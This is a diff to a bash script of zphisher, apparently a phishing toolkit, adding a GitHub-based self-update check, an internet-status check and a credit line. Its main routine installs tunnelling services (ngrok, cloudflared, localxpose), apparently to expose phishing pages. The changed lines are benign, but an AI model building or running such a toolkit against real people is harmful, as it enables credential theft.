@@ -155,6 +155,31 @@ kill_pid() {
155155 done
156156}
157157
158+ # Check for a newer release
159+ check_update (){
160+ echo -ne " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Checking for update : "
161+ relase_url=' https://api.github.com/repos/htr-tech/zphisher/releases/latest'
162+
163+ if [[ $( curl -s $relase_url | grep ' "tag_name":' | awk -F\" ' {print $4}' ) != $__version__ ]]; then
164+ echo -ne " ${ORANGE} update found\n" ${WHITE}
165+ sleep 1
166+ echo -ne " \n${GREEN} [${WHITE} +${GREEN} ]${ORANGE} Updating..."
167+ git pull origin master
168+ { clear; banner_small; }
169+ echo -ne " \n${GREEN} [${WHITE} +${GREEN} ] Successfully updated! Run zphisher again" ${WHITE}
170+ exit
171+ else
172+ echo -ne " ${GREEN} up to date\n${WHITE} " ; sleep .5
173+ fi
174+ }
175+
176+ # # Check Internet Status
177+ check_status () {
178+ echo -ne " \n${GREEN} [${WHITE} +${GREEN} ]${CYAN} Internet Status : "
179+ timeout 3s curl -fIs " https://api.github.com" > /dev/null
180+ [ $? -eq 0 ] && echo -e " ${GREEN} Online${WHITE} " && check_update || echo -e " ${RED} Offline${WHITE} "
181+ }
182+
158183# # Banner
159184banner () {
160185 cat << - EOF
@@ -335,7 +360,8 @@ about() {
335360
336361 ${WHITE} ${CYANBG} Special Thanks to:${RESETBG}
337362 ${GREEN} 1RaY-1, Adi1090x, AliMilani, BDhackers009,
338- KasRoudra, sepp0, ThelinuxChoice, Yisus7u7
363+ KasRoudra, E343IO, sepp0, ThelinuxChoice,
364+ Yisus7u7
339365
340366 ${RED} [${WHITE} 00${RED} ]${ORANGE} Main Menu ${RED} [${WHITE} 99${RED} ]${ORANGE} Exit
341367
@@ -853,6 +879,7 @@ main_menu() {
853879# # Main
854880kill_pid
855881dependencies
882+ check_status
856883install_ngrok
857884install_cloudflared
858885install_localxpose
0 commit comments